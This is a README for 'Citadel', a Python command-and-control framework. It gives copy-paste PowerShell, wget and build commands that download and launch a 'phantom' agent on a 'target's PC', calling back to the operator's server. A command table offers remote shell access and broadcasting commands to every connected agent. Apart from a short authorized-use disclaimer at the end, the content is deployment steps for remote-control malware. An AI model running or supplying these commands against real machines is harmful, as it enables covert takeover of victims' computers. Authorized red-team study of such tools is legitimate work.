Citadel C2 Framework

Citadel is a C2 Framework built in python for purely educational purpose. It litteraly just doesn't do anything other than create connection between two computers.

Quick Start

Run this on ur PC:

Invoke-WebRequest -Uri "https://github.com/johntad110/citadel-c2/releases/download/v12-1-windows-latest/citadel_windows-latest.exe" -OutFile "citadel_server.exe"; Start-Process -FilePath ".\citadel_server.exe"

And then run this on your target's PC (replace <Citadel_Server_IP> with ur IP):

Invoke-WebRequest -Uri "https://github.com/johntad110/citadel-c2/releases/download/v12-1-windows-latest/phantom_windows-latest.exe" -OutFile "phantom_agent.exe"; Start-Process -FilePath ".\phantom_agent.exe" -ArgumentList "--c2-host", "<Citadel_Server_IP>"

---

If you want to install from code

Server Installation

# Clone repository
git clone https://github.com/johntad110/citadel-c2.git
cd citadel-c2

# Install dependencies
pip install -r requirements.txt

# Start server
python main.py --host 0.0.0.0 --port 8886

Agent Deployment

Invoke-WebRequest -Uri "https://github.com/johntad110/citadel-c2/releases/latest/download/phantom_windows.exe" -OutFile phantom.exe
./phantom.exe --c2-host YOUR_SERVER_IP --c2-port 8886

# Linux/macOS
wget https://github.com/johntad110/citadel-c2/releases/latest/download/phantom_linux -O phantom
chmod +x phantom
./phantom --c2-host YOUR_SERVER_IP --c2-port 8886

Architecture

Command Reference

Server Commands

Command	Description
list	Show connected agents
interact <ID>	Control specific agent
shell <ID>	Start reverse shell
broadcast <cmd>	Send command to all agents

Agent Commands

Flag	Description
--c2-host	Server IP/hostname (Required)
--c2-port	Server port (Default: 8886)
--retry	Connection retry attempts (Default: 5)

Building From Source

Requirements

• Python 3.9+
• PyInstaller
• Colorama

# Build server
pyinstaller --onefile main.py --name citadel_server --collect-all colorama

# Build agent
pyinstaller --onefile citadel/agent/phantom.py --name phantom --collect-all citadel.protocol

Security Considerations

⚠️ Warning: This tool is for authorized security testing and educational purposes only.

• Always use on isolated networks
• Enable firewall rules to restrict access

License

Apache License 2.0 - See LICENSE